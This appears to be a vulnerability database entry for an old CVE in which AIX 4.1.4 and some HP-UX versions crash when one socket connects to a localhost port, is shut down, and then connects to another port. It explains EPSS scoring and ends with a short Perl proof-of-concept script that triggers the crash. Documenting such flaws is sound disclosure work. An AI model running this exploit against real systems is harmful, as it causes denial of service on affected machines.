CVE Descriptions
Vulnerability in AIX 4.1.4 and HP-UX 10.01 and 9.05 allows local users to cause a denial of service (crash) by using a socket to connect to a port on the localhost, calling shutdown to clear the socket, then using the same socket to connect to a different port on localhost.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Certain versions of AIX and HP/UX contained a bug in the way the OS handled the connect system call. The connect call is used to initiate a connection on a socket. Because of the flaw in the handling code under AIX certain versions will reboot when given two connects, one to a fixed port (a number of different ports were found to trigger this behaviour) and then another random port connection immediately thereafter.
#!/usr/local/bin/perl5
use Socket;
socket (SOCK,AF_INET,SOCK_STREAM,0);
$iaddr = inet_aton('localhost');
$paddr = sockaddr_in('23',$iaddr);
connect SOCK,$paddr;
shutdown SOCK,2;
$paddr = sockaddr_in('24',$iaddr);
connect SOCK,$paddr;
